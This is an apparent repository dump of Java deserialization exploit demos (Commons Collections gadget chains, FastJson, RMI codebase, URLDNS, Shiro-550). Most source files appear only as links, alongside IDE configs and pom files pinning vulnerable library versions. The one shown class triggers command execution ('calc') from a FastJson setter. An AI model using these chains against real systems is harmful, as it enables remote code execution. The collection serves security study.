├── CommonsCollections1
├── .idea
│ ├── .gitignore
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── CommonsCollections1.iml
├── out
│ └── production
│ │ └── CommonsCollections1
│ │ ├── LazyMapExploit.class
│ │ └── TransformedMapExploit.class
└── src
│ ├── LazyMapExploit.java
│ └── TransformedMapExploit.java
├── CommonsCollections11
├── .idea
│ ├── .gitignore
│ ├── compiler.xml
│ ├── jarRepositories.xml
│ ├── misc.xml
│ └── vcs.xml
├── CommonsCollections11.iml
├── pom.xml
├── src
│ └── main
│ │ └── java
│ │ ├── CommonsCollections11.java
│ │ └── cc11.java
└── target
│ └── classes
│ ├── CommonsCollections11.class
│ └── cc11.class
├── CommonsCollections2
├── .idea
│ ├── .gitignore
│ ├── libraries
│ │ ├── commons_collections4_4_0.xml
│ │ └── javassist_3_25_0_GA.xml
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── CommonsCollections2.iml
├── out
│ └── production
│ │ └── CommonsCollections2
│ │ ├── CommonsCollections2.class
│ │ └── CommonsCollections2Method2.class
└── src
│ ├── CommonsCollections2.java
│ └── CommonsCollections2Method2.java
├── CommonsCollections3
├── .idea
│ ├── .gitignore
│ ├── compiler.xml
│ ├── libraries
│ │ ├── commons_collections_3_1.xml
│ │ └── javassist_3_25_0_GA.xml
│ ├── misc.xml
│ ├── modules.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── CommonsCollections3.iml
├── out
│ └── production
│ │ └── CommonsCollections3
│ │ ├── CommonsCollections3.class
│ │ ├── CommonsCollections3Method2.class
│ │ ├── CommonsCollectionsShiro.class
│ │ └── client.class
└── src
│ ├── CommonsCollections3.java
│ └── CommonsCollections3Method2.java
├── CommonsCollections4
├── .idea
│ ├── .gitignore
│ ├── libraries
│ │ ├── commons_collections4_4_0.xml
│ │ └── javassist_3_25_0_GA.xml
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── CommonsCollections4.iml
├── out
│ └── production
│ │ └── CommonsCollections4
│ │ ├── CommonsCollections4.class
│ │ └── CommonsCollections4Method2.class
└── src
│ ├── CommonsCollections4.java
│ └── CommonsCollections4Method2.java
├── CommonsCollections5
├── .idea
│ ├── .gitignore
│ ├── libraries
│ │ └── commons_collections_3_1.xml
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── CommonsCollections5.iml
└── src
│ └── CommonsCollections5.java
├── CommonsCollections6
├── .idea
│ ├── .gitignore
│ ├── libraries
│ │ └── commons_collections_3_1.xml
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── CommonsCollections6.iml
├── out
│ └── production
│ │ └── CommonsCollections6
│ │ ├── CommonsCollections6.class
│ │ └── CommonsCollections6Method2.class
└── src
│ ├── CommonsCollections6.java
│ └── CommonsCollections6Method2.java
├── CommonsCollections7
├── .idea
│ ├── .gitignore
│ ├── libraries
│ │ └── commons_collections_3_1.xml
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── CommonsCollections7.iml
├── out
│ └── production
│ │ └── CommonsCollections7
│ │ └── CommonsCollections7.class
└── src
│ └── CommonsCollections7.java
├── FastJasonPOC
├── .idea
│ ├── .gitignore
│ ├── .name
│ ├── compiler.xml
│ ├── jarRepositories.xml
│ ├── misc.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── FastJasonPOC.iml
├── pom.xml
├── src
│ └── main
│ │ └── java
│ │ ├── EvilClass.java
│ │ └── User.java
└── target
│ └── classes
│ ├── EvilClass.class
│ └── User.class
├── README.md
├── RMI_Codebase
├── .idea
│ ├── .gitignore
│ ├── encodings.xml
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── RMI_Codebase.iml
├── out
│ └── production
│ │ └── RMI_Codebase
│ │ ├── Calc.class
│ │ ├── ICalc.class
│ │ ├── RMIClient$Payload.class
│ │ ├── RMIClient.class
│ │ ├── RemoteRMIServer.class
│ │ └── client.policy
└── src
│ ├── Calc.java
│ ├── ICalc.java
│ ├── RMIClient.java
│ ├── RemoteRMIServer.java
│ └── client.policy
├── URLDNS
├── .idea
│ ├── .gitignore
│ ├── misc.xml
│ ├── modules.xml
│ └── vcs.xml
├── URLDNS.iml
├── out.bin
├── out
│ └── production
│ │ └── URLDNS
│ │ └── URLDNS.class
└── src
│ └── URLDNS.java
└── shiro550
├── .idea
├── .gitignore
├── misc.xml
├── modules.xml
└── vcs.xml
├── out
└── production
│ └── shiro550
│ └── shiro550.class
├── shiro550.iml
└── src
└── shiro550.java
/CommonsCollections1/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections1\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections1/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections1/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CommonsCollections1/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections1/CommonsCollections1.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/CommonsCollections1/out/production/CommonsCollections1/LazyMapExploit.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections1/out/production/CommonsCollections1/LazyMapExploit.class
--------------------------------------------------------------------------------
/CommonsCollections1/out/production/CommonsCollections1/TransformedMapExploit.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections1/out/production/CommonsCollections1/TransformedMapExploit.class
--------------------------------------------------------------------------------
/CommonsCollections1/src/LazyMapExploit.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections1/src/LazyMapExploit.java
--------------------------------------------------------------------------------
/CommonsCollections1/src/TransformedMapExploit.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections1/src/TransformedMapExploit.java
--------------------------------------------------------------------------------
/CommonsCollections11/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections11\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections11/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/CommonsCollections11/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/CommonsCollections11/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/CommonsCollections11/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections11/CommonsCollections11.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/CommonsCollections11/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | CommonsCollections11
9 | 1.0-SNAPSHOT
10 |
11 |
12 | commons-collections
13 | commons-collections
14 | 3.1
15 |
16 |
17 | org.javassist
18 | javassist
19 | 3.19.0-GA
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/CommonsCollections11/src/main/java/CommonsCollections11.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections11/src/main/java/CommonsCollections11.java
--------------------------------------------------------------------------------
/CommonsCollections11/src/main/java/cc11.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections11/src/main/java/cc11.java
--------------------------------------------------------------------------------
/CommonsCollections11/target/classes/CommonsCollections11.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections11/target/classes/CommonsCollections11.class
--------------------------------------------------------------------------------
/CommonsCollections11/target/classes/cc11.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections11/target/classes/cc11.class
--------------------------------------------------------------------------------
/CommonsCollections2/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections2\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections2/.idea/libraries/commons_collections4_4_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections2/.idea/libraries/javassist_3_25_0_GA.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections2/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections2/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CommonsCollections2/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections2/CommonsCollections2.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/CommonsCollections2/out/production/CommonsCollections2/CommonsCollections2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections2/out/production/CommonsCollections2/CommonsCollections2.class
--------------------------------------------------------------------------------
/CommonsCollections2/out/production/CommonsCollections2/CommonsCollections2Method2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections2/out/production/CommonsCollections2/CommonsCollections2Method2.class
--------------------------------------------------------------------------------
/CommonsCollections2/src/CommonsCollections2.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections2/src/CommonsCollections2.java
--------------------------------------------------------------------------------
/CommonsCollections2/src/CommonsCollections2Method2.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections2/src/CommonsCollections2Method2.java
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections3\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/libraries/commons_collections_3_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/libraries/javassist_3_25_0_GA.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/uiDesigner.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | -
6 |
7 |
8 | -
9 |
10 |
11 | -
12 |
13 |
14 | -
15 |
16 |
17 | -
18 |
19 |
20 |
21 |
22 |
23 | -
24 |
25 |
26 |
27 |
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | -
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 | -
52 |
53 |
54 |
55 |
56 | -
57 |
58 |
59 |
60 |
61 | -
62 |
63 |
64 |
65 |
66 | -
67 |
68 |
69 |
70 |
71 | -
72 |
73 |
74 | -
75 |
76 |
77 |
78 |
79 | -
80 |
81 |
82 |
83 |
84 | -
85 |
86 |
87 |
88 |
89 | -
90 |
91 |
92 |
93 |
94 | -
95 |
96 |
97 |
98 |
99 | -
100 |
101 |
102 | -
103 |
104 |
105 | -
106 |
107 |
108 | -
109 |
110 |
111 | -
112 |
113 |
114 |
115 |
116 | -
117 |
118 |
119 | -
120 |
121 |
122 |
123 |
124 |
--------------------------------------------------------------------------------
/CommonsCollections3/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections3/CommonsCollections3.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/CommonsCollections3/out/production/CommonsCollections3/CommonsCollections3.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections3/out/production/CommonsCollections3/CommonsCollections3.class
--------------------------------------------------------------------------------
/CommonsCollections3/out/production/CommonsCollections3/CommonsCollections3Method2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections3/out/production/CommonsCollections3/CommonsCollections3Method2.class
--------------------------------------------------------------------------------
/CommonsCollections3/out/production/CommonsCollections3/CommonsCollectionsShiro.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections3/out/production/CommonsCollections3/CommonsCollectionsShiro.class
--------------------------------------------------------------------------------
/CommonsCollections3/out/production/CommonsCollections3/client.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections3/out/production/CommonsCollections3/client.class
--------------------------------------------------------------------------------
/CommonsCollections3/src/CommonsCollections3.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections3/src/CommonsCollections3.java
--------------------------------------------------------------------------------
/CommonsCollections3/src/CommonsCollections3Method2.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections3/src/CommonsCollections3Method2.java
--------------------------------------------------------------------------------
/CommonsCollections4/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections4\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections4/.idea/libraries/commons_collections4_4_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections4/.idea/libraries/javassist_3_25_0_GA.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections4/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections4/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CommonsCollections4/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections4/CommonsCollections4.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/CommonsCollections4/out/production/CommonsCollections4/CommonsCollections4.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections4/out/production/CommonsCollections4/CommonsCollections4.class
--------------------------------------------------------------------------------
/CommonsCollections4/out/production/CommonsCollections4/CommonsCollections4Method2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections4/out/production/CommonsCollections4/CommonsCollections4Method2.class
--------------------------------------------------------------------------------
/CommonsCollections4/src/CommonsCollections4.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections4/src/CommonsCollections4.java
--------------------------------------------------------------------------------
/CommonsCollections4/src/CommonsCollections4Method2.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections4/src/CommonsCollections4Method2.java
--------------------------------------------------------------------------------
/CommonsCollections5/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections5\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections5/.idea/libraries/commons_collections_3_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections5/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections5/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CommonsCollections5/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections5/CommonsCollections5.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/CommonsCollections5/src/CommonsCollections5.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections5/src/CommonsCollections5.java
--------------------------------------------------------------------------------
/CommonsCollections6/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections6\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections6/.idea/libraries/commons_collections_3_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections6/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections6/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CommonsCollections6/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections6/CommonsCollections6.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/CommonsCollections6/out/production/CommonsCollections6/CommonsCollections6.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections6/out/production/CommonsCollections6/CommonsCollections6.class
--------------------------------------------------------------------------------
/CommonsCollections6/out/production/CommonsCollections6/CommonsCollections6Method2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections6/out/production/CommonsCollections6/CommonsCollections6Method2.class
--------------------------------------------------------------------------------
/CommonsCollections6/src/CommonsCollections6.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections6/src/CommonsCollections6.java
--------------------------------------------------------------------------------
/CommonsCollections6/src/CommonsCollections6Method2.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections6/src/CommonsCollections6Method2.java
--------------------------------------------------------------------------------
/CommonsCollections7/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\CommonsCollections7\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/CommonsCollections7/.idea/libraries/commons_collections_3_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/CommonsCollections7/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections7/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/CommonsCollections7/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CommonsCollections7/CommonsCollections7.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/CommonsCollections7/out/production/CommonsCollections7/CommonsCollections7.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections7/out/production/CommonsCollections7/CommonsCollections7.class
--------------------------------------------------------------------------------
/CommonsCollections7/src/CommonsCollections7.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/CommonsCollections7/src/CommonsCollections7.java
--------------------------------------------------------------------------------
/FastJasonPOC/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\FastJasonTempl\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/FastJasonPOC/.idea/.name:
--------------------------------------------------------------------------------
1 | FastJasonPOC
--------------------------------------------------------------------------------
/FastJasonPOC/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/FastJasonPOC/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/FastJasonPOC/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/FastJasonPOC/.idea/uiDesigner.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | -
6 |
7 |
8 | -
9 |
10 |
11 | -
12 |
13 |
14 | -
15 |
16 |
17 | -
18 |
19 |
20 |
21 |
22 |
23 | -
24 |
25 |
26 |
27 |
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | -
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 | -
52 |
53 |
54 |
55 |
56 | -
57 |
58 |
59 |
60 |
61 | -
62 |
63 |
64 |
65 |
66 | -
67 |
68 |
69 |
70 |
71 | -
72 |
73 |
74 | -
75 |
76 |
77 |
78 |
79 | -
80 |
81 |
82 |
83 |
84 | -
85 |
86 |
87 |
88 |
89 | -
90 |
91 |
92 |
93 |
94 | -
95 |
96 |
97 |
98 |
99 | -
100 |
101 |
102 | -
103 |
104 |
105 | -
106 |
107 |
108 | -
109 |
110 |
111 | -
112 |
113 |
114 |
115 |
116 | -
117 |
118 |
119 | -
120 |
121 |
122 |
123 |
124 |
--------------------------------------------------------------------------------
/FastJasonPOC/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/FastJasonPOC/FastJasonPOC.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/FastJasonPOC/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | FastJasonTempl
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 | com.alibaba
14 | fastjson
15 | 1.2.44
16 |
17 |
18 | org.javassist
19 | javassist
20 | 3.19.0-GA
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/FastJasonPOC/src/main/java/EvilClass.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/FastJasonPOC/src/main/java/EvilClass.java
--------------------------------------------------------------------------------
/FastJasonPOC/src/main/java/User.java:
--------------------------------------------------------------------------------
1 | import java.io.IOException;
2 |
3 | public class User {
4 | String name;
5 |
6 | public User(){
7 | System.out.println("constructor invoked");
8 |
9 | }
10 | public String getName() {
11 | System.out.println("get name");
12 | return name;
13 | }
14 |
15 | public void setName(String name) throws IOException {
16 | System.out.println("set name");
17 | Runtime.getRuntime().exec("calc");
18 | this.name = name;
19 | }
20 |
21 | @Override
22 | public String toString() {
23 | return "User{" +
24 | "name='" + name + '\'' +
25 | '}';
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/FastJasonPOC/target/classes/EvilClass.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/FastJasonPOC/target/classes/EvilClass.class
--------------------------------------------------------------------------------
/FastJasonPOC/target/classes/User.class:
--------------------------------------------------------------------------------
